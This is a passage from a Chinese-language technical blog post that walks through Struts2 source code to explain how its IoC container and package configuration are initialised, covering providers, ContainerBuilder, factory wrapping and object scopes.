  9.  public Object buildBean(String className, Map<String, Object> extraContext, boolean injectInternal) throws Exception {  
  10.        Class clazz = getClassInstance(className);  
  11.        Object obj = buildBean(clazz, extraContext);  
  12.        if (injectInternal) {  
  13.            injectInternalBeans(obj);  
  14.        }  
  15.        return obj;  
  16.    }  
  17.    protected Object injectInternalBeans(Object obj) {  
  18.        if (obj != null && container != null) {  
  19.            container.inject(obj);  
  20.        }  
  21.        return obj;  
  22.    }  

    在 injectInternalBeans 方法内调用了 Containter容 器的 inject(Object o)方法对创建的Action对象进行依赖注入操作. 到这里,我们算是对 struts2的ioc容器有了个初步的了解,知道了如何使用struts2-ioc容器获取对象和进行依赖注入。那么接下来,我们就要深入到 struts2的ioc容器实现部分,看看其到底是如何实现获取对象和依赖注入功能的。

  二、Struts2-IOC容器初始化详解。
   提到IOC容器的初始化就不得不提到struts2 中另一种元素:package 的初始化,因为在struts2的初始化过程中不仅对容器初始化,也包含了对package这种事件映射元素的初始化,这里先简单说下这两者的区别,我们 来看看常见的struts.xml中的配置:
    
  1. <struts>  
  2.     <bean  type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />  
  3.     <bean  type="com.service.UserService" name="service2" class="com.service.impl.UserServiceImp2" />  
  4.     <constant name="struts.enable.DynamicMethodInvocation" value="false" />  
  5.     <constant name="struts.devMode" value="false" />  
  6.   
  7.     <package name="default" namespace="/" extends="struts-default">  
  8.   
  9.         <global-results>  
  10.             <result name="error">/error.jsp</result>  
  11.         </global-results>  
  12.   
  13.         <global-exception-mappings>  
  14.             <exception-mapping exception="java.lang.Exception" result="error"/>  
  15.         </global-exception-mappings>  
  16.   
  17.         <action name="injectAction" class="app.InjectAction">  
  18.             <result name="success">/index.jsp</result>  
  19.         </action>  
  20.     </package>  
  21.   
  22.     <!-- Add packages here -->  
  23.   
  24. </struts>  



   其中的 bean和constant节点,再加上 properties文件中的配置元素,这三者称为容器配置元素,即是由容器管理的对象,在容器初始化过程中要注册到容器中去。而对于 Package节点,里面包含了 action,interceptor,result等运行时的事件映射节点,这些节点元素并不需要纳入容器中管理。所以这里一个结论就是 struts2初始化的核心就是对容器配置元素和事件映射元素这两种不同元素的初始化过程,再进一步的讲就是将以各种形式配置的这两种元素转换为JAVA对象并统一管理的过程。由于这两种配置元素都有各种各样的表现形式,如之前看到的 xml配置的形式,属性文件properties的形式,还有我们进行扩展时自定义的其他形式,struts2插件中的 annotation形式等等。所以struts2在加载这些缤纷繁杂的各种配置形式时做了一定的考虑,先看如下的类图:
   
    从上图中我们可以清楚的看到,针对两种不同的元素类型,struts2设计了两个接口: ContainterProvider和PackageProvider,它们对外提供的功能主要就是从配置文件中加载对应的元素并转换为JAVA对象。 这里的 ConfigurationProvider 则是应用了java中的接口多重继承机制,目的在于对两种Provider加载器进一步抽象,使得我们不必关心具体的实现方式是针对哪种类型的加载器,提 供一个统一的接口和操作方法;而且对于诸如struts.xml这样的配置文件来说,其中即包括了容器配置元素也包括了Package事件映射元素,那么 对应的加载器必须同时具备ContainterProvider和PackageProvider的接口方法,这样就只需要实现 ConfigurationProvider 接口即可。而对于只需要处理一种元素类型的加载器来说,个人认为只需要实现ContainterProvider 或PackageProvider的其中一个接口即可。比方说在 struts2-plugin中的注解插件包中,我们将 Package中的元素以注解的方式进行配置,那么struts2在初始化的时候除了从struts.xml中读取package元素外,还需要扫描所有 的Action类,读取其中我们配置的package元素注解,并转化为java对象,对于这样的注解加载器来说,由于只需要处理Pakacge元素的加 载,所以provider实现类只需要实现PackageProvider接口,翻开源代码查看,也确实验证了我的想法,这里又不花太多篇幅了,这部分的源码在 struts2-convention-plugin 下,有兴趣的话可以看看。在struts2的核心包中,具体的Provider 实现类主要有以下几种:
   
    可以清楚的看出,DefaultPropertiesProvider主要是处理属性文件形式的配置文件,而 StrtusXmlConfigurationProvider则主要是处理以 XML形式存在的配置文件,比如 strtus-default.xml , struts.xml 和 struts-plugin.xml。之前提到过,加载器的作用就是在struts初始化的时候将各种不同形式的配置文件中的元素转换为java对象,进 一步的理解就是将容器配置元素和package事件处理元素读取到系统中来并建立对应的Java对象,struts初始化的最终结果就是读取了所有容器配 置元素并创建出Container(IOC容器)对象和PackageConfig(pckage事件处理对象),我们知道,无论是Container对 象还是PackageConfig对象,在创建它们的时候都不可能是一个简单的 new 操作就可以的,因为它们二者的内部结构是复杂的,前者必须是包含了所有的容器配置对象而后者必须包含了所有的package时间配置对象,为了创建这两个 内部结构复杂的对象,struts2在这里使用了构造者模式,即存在一个构造者对象分别为 containter和PackageConfig收集参数字段,前者是收集容器配置对象,后者是收集package事件映射对象,而各种 Provider实现类就是往构造者对象中进行注册读取的配置对象,也就是构造者对象的参数收集过程,以一个时序图来表示 Containter的创建初始化过程:
   
                                                      (图:struts2-IOC容器的初始化时序图)
   这里我们首先关注的是和Provider有关的部分,我们看到 在Configuration中循环调用了每一个Provider实现类的  register()方法,这个register()方法是在 ContainterProvider接口中声明的,所以该方法的作用就是往IOC容器(Container)中注册将要被容器托管的对象,可以想象下 ContainerProvider 的register()方法肯定就是解析各种形式的容器配置元素,转化为Java对象,然后注册到容器的构造者对象 ContainerBuilder中去,其中的 factory()就是这个注册的作用,待所有的ContainterProvider实现类将各自对应的容器配置元素都注册到 ContainerBuilder中之后,Configuration调用ContainerBuilder的create()方法就能返回一个被正确初 始化了的IOC容器Container了。接下来我以一个Provider的实现类
StrutsXmlConfigurationProvider为例子,来具体看一看它的register()方法。 StrutsXmlConfigurationProvider主要是负责将 struts-default.xml,struts-plugin.xml和struts.xml中的容器配置元素和package配置元素加载到系统 中来,它实现了 ConfigurationProvider接口,所以其具体的 register()方法就是解析xml文件中配置的容器配置元素并注册到ContainerBuilder中去,而具体的loadPackage()方 法就是解析xml配置文件中的package元素并注册到package构造者对象PackageConfig.Builder中去(这是一个内部类).
   
  1. public class StrutsXmlConfigurationProvider implements ConfigurationProvider{  
  2.     /*此处省略N多代码*/     
  3.      public void register(ContainerBuilder containerBuilder, LocatableProperties props) throws ConfigurationException {  
  4.         if (LOG.isInfoEnabled()) {  
  5.             LOG.info("Parsing configuration file [" + configFileName + "]");  
  6.         }  
  7.         Map<String, Node> loadedBeans = new HashMap<String, Node>();  
  8.         for (Document doc : documents) {  
  9.             Element rootElement = doc.getDocumentElement();  
  10.             NodeList children = rootElement.getChildNodes();  
  11.             int childSize = children.getLength();  
  12.   
  13.             for (int i = 0; i < childSize; i++) {  
  14.                 Node childNode = children.item(i);  
  15.   
  16.                 if (childNode instanceof Element) {  
  17.                     Element child = (Element) childNode;  
  18.   
  19.                     final String nodeName = child.getNodeName();  
  20.   
  21.                     if ("bean".equals(nodeName)) {  
  22.                         String type = child.getAttribute("type");  
  23.                         String name = child.getAttribute("name");  
  24.                         String impl = child.getAttribute("class");  
  25.                         String onlyStatic = child.getAttribute("static");  
  26.                         String scopeStr = child.getAttribute("scope");  
  27.                         boolean optional = "true".equals(child.getAttribute("optional"));  
  28.                         Scope scope = Scope.SINGLETON;  
  29.                           
  30.                         if ("default".equals(scopeStr)) {  
  31.                             scope = Scope.DEFAULT;  
  32.                         } else if ("request".equals(scopeStr)) {  
  33.                             scope = Scope.REQUEST;  
  34.                         } else if ("session".equals(scopeStr)) {  
  35.                             scope = Scope.SESSION;  
  36.                         } else if ("singleton".equals(scopeStr)) {  
  37.                             scope = Scope.SINGLETON;  
  38.                         } else if ("thread".equals(scopeStr)) {  
  39.                             scope = Scope.THREAD;  
  40.                         }  
  41.   
  42.                         if (StringUtils.isEmpty(name)) {  
  43.                             name = Container.DEFAULT_NAME;  
  44.                         }  
  45.   
  46.                         try {  
  47.                             Class cimpl = ClassLoaderUtil.loadClass(impl, getClass());  
  48.                             Class ctype = cimpl;  
  49.                             if (StringUtils.isNotEmpty(type)) {  
  50.                                 ctype = ClassLoaderUtil.loadClass(type, getClass());  
  51.                             }  
  52.                             if ("true".equals(onlyStatic)) {  
  53.                                 // Force loading of class to detect no class def found exceptions  
  54.                                 cimpl.getDeclaredClasses();  
  55.                                 containerBuilder.injectStatics(cimpl);  
  56.                             } else {  
  57.                                 if (containerBuilder.contains(ctype, name)) {  
  58.                                     Location loc = LocationUtils.getLocation(loadedBeans.get(ctype.getName() + name));  
  59.                                     if (throwExceptionOnDuplicateBeans) {  
  60.                                         throw new ConfigurationException("Bean type " + ctype + " with the name " +  
  61.                                                 name + " has already been loaded by " + loc, child);  
  62.                                     }  
  63.                                 }  
  64.   
  65.                                 // Force loading of class to detect no class def found exceptions  
  66.                                 cimpl.getDeclaredConstructors();  
  67.   
  68.                                 if (LOG.isDebugEnabled()) {  
  69.                                     LOG.debug("Loaded type:" + type + " name:" + name + " impl:" + impl);  
  70.                                 }  
  71.                                 // LocatableFactory 的create方法中真正调用 containterImpl中的 inject(Class clas)方法进行对象的创建和注入;  
  72.                         //有别于 inject(Object obj),后者不必对构造函数参数注入和创建对象,因为传入的已经是个创建出的对象了,前者则是Class对象。  
  73.                         //将该 LocatableFactory对象注册到 containerBuilder 中去,此时还没有调用 LocatableFactory的create方法。  
  74.                                 containerBuilder.factory(ctype, name, new LocatableFactory(name, ctype, cimpl, scope, childNode), scope);  
  75.                             }  
  76.                             loadedBeans.put(ctype.getName() + name, child);  
  77.                         } catch (Throwable ex) {  
  78.                             if (!optional) {  
  79.                                 throw new ConfigurationException("Unable to load bean: type:" + type + " class:" + impl, ex, childNode);  
  80.                             } else {  
  81.                                 LOG.debug("Unable to load optional class: " + ex);  
  82.                             }  
  83.                         }  
  84.                     } else if ("constant".equals(nodeName)) {  
  85.                         String name = child.getAttribute("name");  
  86.                         String value = child.getAttribute("value");  
  87.                         props.setProperty(name, value, childNode);  
  88.                     } else if (nodeName.equals("unknown-handler-stack")) {  
  89.                         List<UnknownHandlerConfig> unknownHandlerStack = new ArrayList<UnknownHandlerConfig>();  
  90.                         NodeList unknownHandlers = child.getElementsByTagName("unknown-handler-ref");  
  91.                         int unknownHandlersSize = unknownHandlers.getLength();  
  92.   
  93.                         for (int k = 0; k < unknownHandlersSize; k++) {  
  94.                             Element unknownHandler = (Element) unknownHandlers.item(k);  
  95.                             unknownHandlerStack.add(new UnknownHandlerConfig(unknownHandler.getAttribute("name")));  
  96.                         }  
  97.   
  98.                         if (!unknownHandlerStack.isEmpty())  
  99.                             configuration.setUnknownHandlerStack(unknownHandlerStack);  
  100.                     }  
  101.                 }  
  102.             }  
  103.         }  
  104.     }  
  105. }  

 代码开头的两个for循环就是对加载进来的Dom4j的 Document对象进行遍历,处理其中的每一个xml节点。再次拿起之前我们在 struts.xml 中配置的 Bean节点为例:
    

  1. <bean type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />   

 我们结合以上的代码来看看struts是如何将这个容器配置元素注册到ContainerBuilder中去的。首先在 if("bean".equals(nodename)) 中对这个 bean节点进行出来,刚开始的几行代码很容易看明白,无非就是读取这个bean节点中的各个属性,这里重点 是:type,name,class,scope这四个属性,对于前三者在之前已经介绍过了,对于scope属性,就是说当我们在程序中向容器要这个对象 的时候,容器是返回一个new的新对象呢,还是单例对象或者其他形式的对象,即这个对象的作用域范围,就像我们在spring中注册一个bean 元素的时候,不是也可以指定它的作用范围吗?这里和spring中的类似,通过容器获取对象的时候容器默认返回的是一个单实例对象,我们可以通过bean 节点的scope属性改变:
  
  1. Scope scope = Scope.SINGLETON;  
  2.   
  3. if ("default".equals(scopeStr)) {  
  4.     scope = Scope.DEFAULT;  
  5. else if ("request".equals(scopeStr)) {  
  6.     scope = Scope.REQUEST;  
  7. else if ("session".equals(scopeStr)) {  
  8.     scope = Scope.SESSION;  
  9. else if ("singleton".equals(scopeStr)) {  
  10.     scope = Scope.SINGLETON;  
  11. else if ("thread".equals(scopeStr)) {  
  12.     scope = Scope.THREAD;  
  13. }  

  这里的 Scope是一个枚举类型,稍后我会介绍到,这里我们只需要知道它定义了对象的不同作用域,每一个Scope枚举实例代表一个作用域。我们看到bean的 默认作用域范围是 Scope.SINGLETON,即单实例。default 代表的是每次返回一个新对象,request代表request请求作用域,session代表会话作用域,thread代表一个线程范围内的作用域,即 ThreadLocal作用域内。接下来我们重点看看这行代码:
  
  1. containerBuilder.factory(ctype, name, new LocatableFactory(name, ctype, cimpl, scope, childNode), scope)  

  这行代码的作用就是往容器构造对象ContainerBuilder中注册将要被容器接纳托管的对象,我们之前说过,在调用 Container.getInstance 方法的时候,IOC容器是以参数 type和name作为联合主键从容器中获取对象的,那么这里在初始化时往容器中注册对象的时候  ctype和name就是这个联合主键了,其对应的值一般认为就是对应的对象了,但是这里貌似不对,应该我们看到的值是 LocatableFactory,这好像是一个对象工厂,而不是对象本身吧。我们进入LocatableFactory内部看看究竟:
 
  1. public class LocatableFactory<T> extends Located implements Factory<T> {  
  2.   
  3.   
  4.     private Class implementation;  
  5.     private Class type;  
  6.     private String name;  
  7.     private Scope scope;  
  8.   
  9.     public LocatableFactory(String name, Class type, Class implementation, Scope scope, Object location) {  
  10.         this.implementation = implementation;  
  11.         this.type = type;  
  12.         this.name = name;  
  13.         this.scope = scope;  
  14.         setLocation(LocationUtils.getLocation(location));  
  15.     }  
  16.   
  17.     @SuppressWarnings("unchecked")  
  18.     public T create(Context context) {  
  19.         Object obj = context.getContainer().inject(implementation);  
  20.         return (T) obj;  
  21.     }  
  22.    /*这里省略N多代码*/  

  咦,这里面看到了 create 方法,它根据我们传入的 Class 对象返回了一个Object实例,再来看看 Factory接口:
   
  1. /** 
  2.  * A custom factory. Creates objects which will be injected. 
  3.  * 
  4.  * @author crazybob@google.com (Bob Lee) 
  5.  */  
  6. public interface Factory<T> {  
  7.   
  8.   /** 
  9.    * Creates an object to be injected. 
  10.    * 
  11.    * @param context of this injection 
  12.    * @return instance to be injected 
  13.    * @throws Exception if unable to create object 
  14.    */  
  15.   T create(Context context) throws Exception;  
  16. }  

   看到这里,我们仿佛明白了,容器中接纳和托管的原来不是对象本身,而是对象工厂,当我们需要容器提供一个对象的时候,容器是调用的对象工厂中的 create 方法来创建并返回对象的而 对于具体的对象创建方式,我们可以通过实现Factory接口,实现其create方法即可,这里的Factory实现类为 LocatableFactory,其create方法为调用Container的重载方法 inject(Class cl) 创建并返回一个新对象,该对象已经接受过容器的依赖注入了。具体的 inject(Class cl)实现细节,我们留到后面介绍容器操作方法 inject 和 getInstance 的时候再详细说明。当然了,如果我们自定义了别的Factory实现类,我们在 create 方法中完全可以根据我们的需要实现任意的对象创建方法,比如: class.newInstance() 这种最基本的方式或者从 JSON串转换为一个JAVA对象,或者反序列化创建对象等等,这就是工厂方法模式的优点,创建对象的方式可以很灵活。
  我们注意到 Factory 的代码注释上写到: A custom factory (客户端的 Factory), 啥意思? 难道还有容器自己内部的 Factory ?我们跟随这行源代码:
  
  1. containerBuilder.factory(ctype, name, new LocatableFactory(name, ctype, cimpl, scope, childNode), scope);  

  进入到容器构造对象内部探个究竟,
  
  1.   public final class ContainerBuilder {  
  2.     /*此处省略N多代码*/  
  3.   
  4.    /** 
  5.    * Maps a factory to a given dependency type and name. 
  6.    * 
  7.    * @param type of dependency 
  8.    * @param name of dependency 
  9.    * @param factory creates objects to inject 
  10.    * @param scope scope of injected instances 
  11.    * @return this builder 
  12.    */  
  13.   public <T> ContainerBuilder factory(final Class<T> type, final String name,  
  14.       final Factory<? extends T> factory, Scope scope) {  
  15.     InternalFactory<T> internalFactory =  
  16.         new InternalFactory<T>() {  
  17.   
  18.       public T create(InternalContext context) {  
  19.         try {  
  20.           Context externalContext = context.getExternalContext();  
  21.           return factory.create(externalContext);  
  22.         } catch (Exception e) {  
  23.           throw new RuntimeException(e);  
  24.         }  
  25.       }  
  26.   
  27.       @Override  
  28.       public String toString() {  
  29.         return new LinkedHashMap<String, Object>() {{  
  30.           put("type", type);  
  31.           put("name", name);  
  32.           put("factory", factory);  
  33.         }}.toString();  
  34.       }  
  35.     };  
  36.   
  37.     return factory(Key.newInstance(type, name), internalFactory, scope);  
  38.   }  
  39. }  
 
   果然,我们在 ContainerBuilder中发现 我们传入的 Factory 被一个匿名内部类 internalFactory 给包装了,看起来这个 InternalFactory似乎和我们之前的 Factory具有相同的接口,我们来看看它的源码:
  
  1. /** 
  2.  * Creates objects which will be injected. 
  3.  * 
  4.  * @author crazybob@google.com (Bob Lee) 
  5.  */  
  6. interface InternalFactory<T> extends Serializable {  
  7.   
  8.   /** 
  9.    * Creates an object to be injected. 
  10.    * 
  11.    * @param context of this injection 
  12.    * @return instance to be injected 
  13.    */  
  14.   T create(InternalContext context);  
  15. }  

  果然和我们的想法一样,从名称上来看,貌似这个 InternalFactory是在容器内部使用的,而Factory则是我们客户端程序员使用的,它将在 ContainerBuilder的factory重载方法中被InternalFactory包装,不知道大家发现了没有,这里其实就是一个装饰着模式 的运用,目标对象为我们传入的 LocatableFactory ,它的接口类型为Factory,在这里它被具有相同接口方法的 InternalFactory 包装,当调用internalFactory的create方法时,加入了额外的代码  Context externalContext = context.getExternalContext(); 主要是获取context上下文,然后才调用目标对象上的create方法:return factory.create(externalContext); 我们继续看到该 factory方法的最后一行代码为:
  1. return factory(Key.newInstance(type, name), internalFactory, scope);  
  这里调用了factory的另一个重载方法,我们进入看看它又做了哪些事情:
  

  1. /** 
  2.    * Maps a dependency. All methods in this class ultimately funnel through 
  3.    * here. 
  4.    */  
  5.   private <T> ContainerBuilder factory(final Key<T> key,  
  6.       InternalFactory<? extends T> factory, Scope scope) {  
  7.     ensureNotCreated();  
  8.     checkKey(key);  
  9.     final InternalFactory<? extends T> scopedFactory = scope.scopeFactory(key.getType(), key.getName(), factory);  
  10.     factories.put(key, scopedFactory);  
  11.     if (scope == Scope.SINGLETON) {  
  12.       singletonFactories.add(new InternalFactory<T>() {  
  13.         public T create(InternalContext context) {  
  14.           try {  
  15.             context.setExternalContext(ExternalContext.newInstance(  
  16.                 null, key, context.getContainerImpl()));  
  17.             return scopedFactory.create(context);  
  18.           } finally {  
  19.             context.setExternalContext(null);  
  20.           }  
  21.         }  
  22.       });  
  23.     }  
  24.     return this;  
  25.   }  

   我们重点关注的是这两行代码:
   
  1. final InternalFactory<? extends T> scopedFactory = scope.scopeFactory(key.getType(), key.getName(), factory);  
  2. factories.put(key, scopedFactory);  

  先看第一行代码,结合我们之前的例子,这里的几个参数 key.getType()为 UserService.class ,key.getName()为 service1 , factory为包装了locatableFactory的InternalFactory实例, 参数 scope为 Scope.SINGLETON,所以我们调用的就是 Scope.SINGLETON 这个枚举实例上的 scopeFactory方法,我们来看看 Scope枚举的部分源码:
     
  1. /** 
  2.  * Scope of an injected objects. 
  3.  * 
  4.  * @author crazybob 
  5.  */  
  6. public enum Scope {  
  7.   
  8.   /** 
  9.    * One instance per injection. 
  10.    */  
  11.   DEFAULT {  
  12.     @Override  
  13.             <T> InternalFactory<? extends T> scopeFactory(Class<T> type, String name,  
  14.         InternalFactory<? extends T> factory) {  
  15.       return factory;  
  16.     }  
  17.   },  
  18.   
  19.   /** 
  20.    * One instance per container. 
  21.    */  
  22.   SINGLETON {  
  23.     @Override  
  24.             <T> InternalFactory<? extends T> scopeFactory(Class<T> type, String name,  
  25.         final InternalFactory<? extends T> factory) {  
  26.       return new InternalFactory<T>() {  
  27.         T instance;  
  28.         public T create(InternalContext context) {  
  29.           synchronized (context.getContainer()) {  
  30.             if (instance == null) {  
  31.               instance = factory.create(context);  
  32.             }  
  33.             return instance;  
  34.           }  
  35.         }  
  36.   
  37.         @Override  
  38.         public String toString() {  
  39.           return factory.toString();  
  40.         }  
  41.       };  
  42.     }  
  43.   },  
  44.   
  45.   /** 
  46.    * One instance per thread. 
  47.    * 
  48.    * <p><b>Note:</b> if a thread local object strongly references its {@link 
  49.    * Container}, neither the {@code Container} nor the object will be 
  50.    * eligible for garbage collection, i.e. memory leak. 
  51.    */  
  52.   THREAD {  
  53.     @Override  
  54.             <T> InternalFactory<? extends T> scopeFactory(Class<T> type, String name,  
  55.         final InternalFactory<? extends T> factory) {  
  56.       return new InternalFactory<T>() {  
  57.         final ThreadLocal<T> threadLocal = new ThreadLocal<T>();  
  58.         public T create(final InternalContext context) {  
  59.           T t = threadLocal.get();  
  60.           if (t == null) {  
  61.             t = factory.create(context);  
  62.             threadLocal.set(t);  
  63.           }  
  64.           return t;  
  65.         }  
  66.   
  67.         @Override  
  68.         public String toString() {  
  69.           return factory.toString();  
  70.         }  
  71.       };  
  72.     }  
  73.   },  
  74.   /*这里省略部分代码*/  
  1. abstract <T> InternalFactory<? extends T> scopeFactory(  
  2.     Class<T> type, String name, InternalFactory<? extends T> factory);  

     可以很清楚的看到,在Scope枚举中声明了一个抽象方法 scopeFactory ,所以每一个枚举实例都实现了这个方法,它们各自实现了创建了不同生命周期的对象,还是以我们之前配置的例子来说明:   
  1. <bean  type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />  
   这里并没有配置 bean节点的 scope属性,但是结合我们之前的源码分析可以知道,其默认值为 singleton,所以我刚才写道 “ 参数 scope为 Scope.SINGLETON,我们调用的就是 Scope.SINGLETON 这个枚举实例上的 scopeFactory方法。”  在其内部又创建了InternalFactpry的一个匿名内部类,在create方法中再次包装了factory以实现其单实例的功能,返回的就是又一 次经过包装的InternalFactory。Scope.Thread也是类似,只不过它创建的对象声明周期为线程范围内,所以把他/她缓存在 ThreadLocal 中。 而Scope.DEFAULT 则是不做处理 直接返回 factory,这样当调用create方法时候,每次都是创建一个新对象。

  让我们的视线重新回到 ContainerBuilder中的这两行代码:
   
  1. final InternalFactory<? extends T> scopedFactory = scope.scopeFactory(key.getType(), key.getName(), factory);  
  2. factories.put(key, scopedFactory);  

  第一行我们刚才已经介绍过了,那么第二行的作用就是把经过枚举Scope处理过的factory放入到一个容器内部的Map缓存中,这样容器才能根据 type和name的联合主键key从容器内部查找对应的对象工厂,然后返回对象。 factories 作为ContainerBuilder内部属性的定义如下:
    
  1. public final class ContainerBuilder {  
  2.   
  3.   final Map<Key<?>, InternalFactory<?>> factories =  
  4.       new HashMap<Key<?>, InternalFactory<?>>();  
  5.   final List<InternalFactory<?>> singletonFactories =  
  6.       new ArrayList<InternalFactory<?>>();  
  7.   boolean created;  
  8.   /*省略N多代码*/  
  9. }  

  看到了吧,容器内部缓存的确实是对象工厂。至于 singletonFactories 列表,则是包含了所有配置为 scope="singleton" 的对象工厂,如果 boolean created值为true 的话,那么在 ContainerBuilder创建容器对象 Container的时候,会先调用scope="singleton" 的对象工厂的create方法,即初始化容器的时候把对象生命周期为单实例的对象先创建出来。
   至此,我们已经以一个容器配置元素
  1. <bean  type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />  

 为例子,讲述他它如何注册到容器创建者对象ContainerBuilder中的流程走了一遍,那么整个容器的初始化过程也就是将各种配置形式的所有容器配置元素注册到容器创建者对象 ContainerBuilder中去,结合 之前给出的struts2-IOC容器的初始化时序图,我们可以清楚的看到,最后由 Configuration 调用 ContainerBuilder 的 create方法返回一个已经被初始化了的 IOC容器对象Container:
   
  1. public final class ContainerBuilder {  
  2.   /*此处省略N多代码*/  
  3.  public Container create(boolean loadSingletons) {  
  4.   ensureNotCreated();  
  5.   created = true;  
  6.   final ContainerImpl container = new ContainerImpl(  
  7.       new HashMap<Key<?>, InternalFactory<?>>(factories));  
  1. //如果 boolean created(loadSingletons)值为true 的话,先调用scope="singleton" 的对象工厂的create方法,  
  1.    //把对象生命周期为单实例的对象先创建出来.  
  2.     if (loadSingletons) {  
  3.       container.callInContext(new ContainerImpl.ContextualCallable<Void>() {  
  4.         public Void call(InternalContext context) {  
  5.           for (InternalFactory<?> factory : singletonFactories) {  
  6.             factory.create(context);  
  7.           }  
  8.           return null;  
  9.         }  
  10.       });  
  11.     }  
  12.     container.injectStatics(staticInjections);  
  13.     return container;  
  14.   }  
  15. }  

    其中  final ContainerImpl container = new ContainerImpl( new HashMap<Key<?>, InternalFactory<?>>(factories))  为具体创建了一个容器对象,这里是Container接口的具体实现类 ContainerImpl.
  
  1. class ContainerImpl implements Container {  
  2.   
  3.   final Map<Key<?>, InternalFactory<?>> factories;  
  4.   final Map<Class<?>,Set<String>> factoryNamesByType;  
  5.   
  6.   ContainerImpl(Map<Key<?>, InternalFactory<?>> factories) {  
  7.     this.factories = factories;  
  8.     Map<Class<?>,Set<String>> map = new HashMap<Class<?>,Set<String>>();  
  9.     for (Key<?> key : factories.keySet()) {  
  10.       Set<String> names = map.get(key.getType());  
  11.       if (names == null) {  
  12.         names = new HashSet<String>();  
  13.         map.put(key.getType(), names);  
  14.       }  
  15.       names.add(key.getName());  
  16.     }  
  17.       
  18.     for (Entry<Class<?>,Set<String>> entry : map.entrySet()) {  
  19.       entry.setValue(Collections.unmodifiableSet(entry.getValue()));  
  20.     }  
  21.       
  22.     this.factoryNamesByType = Collections.unmodifiableMap(map);  
  23.   }  
  24.     /*此处省略N多代码*/  
  25. }  

     这个构造函数主要做两件事,其一是为 Key(type,name) --- InternalFactory的 Map实例字段 赋值,其来源就是 ContainerBuilder中的factories. 其二为将 type 和 name 的一对多关系保存在 Map实例字段 factoryNamesByType 中,以如下为例:
  1. <bean  type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />      
  2. <bean  type="com.service.UserService" name="service2" class="com.service.impl.UserServiceImp2" />  

   那么 factoryNamesByType 的值就是 [ UserService.class ,["service1","service2]" ].
   到此为止,关于Struts2-IOC容器的初始化过程的重点部分已经讲述完毕 了,我们发现其重点就是对象工厂的层层包装,即装饰模式的运用,这样当我们要容器要一个对象实例的时候,就会触发一系列的 InternalFactory.create 方法调用。核心结论是容器初始化完毕后其内部的Map字段factories中缓存的是 对象工厂,而不是对象实例本身。
    让我们回到 struts2-IOC容器的初始化时序图 中的 Configuration 接口上来,因为它把控着容器的初始化逻辑:
    
  1.  public class DefaultConfiguration implements Configuration {  
  2.      protected Container container;  
  3.     /*这里省略部分代码*/  
  4.      public synchronized List<PackageProvider> reloadContainer(List<ContainerProvider> providers) throws ConfigurationException       {  
  5.         packageContexts.clear();  
  6.         loadedFileNames.clear();  
  7.         List<PackageProvider> packageProviders = new ArrayList<PackageProvider>();  
  8.   
  9.         ContainerProperties props = new ContainerProperties();  
  10.         ContainerBuilder builder = new ContainerBuilder();  
  11.         //循环每一个ContainterProvider,将他们各自对应的容器配置元素注册到ContainerBuilder中去,  
  12.         //我们之前例子中的 StrutsXmlConfigurationProvider 也是在这里被调用 register 方法的。  
  13.         for (final ContainerProvider containerProvider : providers)  
  14.         {  
  15.          // 这里对于资源文件的处理分两步走  
  16.             containerProvider.init(this); //第一步是初始化,即完成格式转换,如xml格式的转换为 document对象集合.  
  17.             containerProvider.register(builder, props); // 第二步是将资源文件中配置的对象注册到容器构造者对象中去。  
  18.         }  
  19.          
  20.         props.setConstants(builder);  
  21.   
  22.         //将自己,即 this 本身注册到容器中去,其缓存的对象工厂被调用create方法的时候返回的就是当前对象本身.  
  23.         builder.factory(Configuration.classnew Factory<Configuration>() {  
  24.             public Configuration create(Context context) throws Exception {  
  25.                 return DefaultConfiguration.this;  
  26.             }  
  27.         });  
  28.         //调用 ContainerBuilder的create方法创建并返回容器对象Container,这里的false参数表示延迟创建singleton对象.  
  29.         container = builder.create(false);  
  30.       /*此处省略部分代码*/  
  31.    }  
  32. }  

     以上代码执行完毕后,Struts2-IOC容器就被正确的初始化创建出来了!之前说过,struts2在初始化的过程中,主要是对容器对象和 package事件映射对象初始化,那么在这个方法的代码中接下来的事情就是顺便把PackageConfig这个对象也一起初始化掉:
    
  1.    public class DefaultConfiguration implements Configuration {  
  2.     /*这里省略部分代码*/  
  3.       public synchronized List<PackageProvider> reloadContainer(List<ContainerProvider> providers) throws ConfigurationException {  
  4.    /*这里省略部分代码*/  
  5.             // Process the configuration providers first  
  6.             //循环调用每一个providers,完成对PackageConfig对象的初始化  
  7.             for (final ContainerProvider containerProvider : providers)  
  8.             {  
  9.                 if (containerProvider instanceof PackageProvider) {  
  10.                     //容器已经被正确创建出来了,可以进行依赖注入操作了。  
  11.                     container.inject(containerProvider);  
  12.                     ((PackageProvider)containerProvider).loadPackages();  
  13.                     packageProviders.add((PackageProvider)containerProvider);  
  14.                 }  
  15.             }  
  16.   
  17.             // Then process any package providers from the plugins  
  18.             Set<String> packageProviderNames = container.getInstanceNames(PackageProvider.class);  
  19.             if (packageProviderNames != null) {  
  20.                 //循环调用其他providers加载器,主要来源于插件中直接实现PackageProvider接口的类,或用户另外自己扩展的.  
  21.                 for (String name : packageProviderNames) {  
  22.                     PackageProvider provider = container.getInstance(PackageProvider.class, name);  
  23.                     provider.init(this);  
  24.                     provider.loadPackages();  
  25.                     packageProviders.add(provider);  
  26.                 }  
  27.             }  
  28.   
  29.             //对所有PackageConfig进行naemspace级别的重新匹配,这样当struts2框架响应http请求时,  
  30.             //能根据namespace进行url匹配  
  31.             rebuildRuntimeConfiguration();  
  32.     }  
  33. }  

    至此,struts2的两类配置元素Container和PackageConfig 已经初始化完毕了。在下一篇文章中,我将重点分析  Container中的重载方法 getInstance 和 inject  的具体实现,这两个方法也是任何IOC容器最被常用的方法,我们将看到在Struts2-IOC容器中是如何实现的,敬请期待!


find more on http://sunfeng.ca/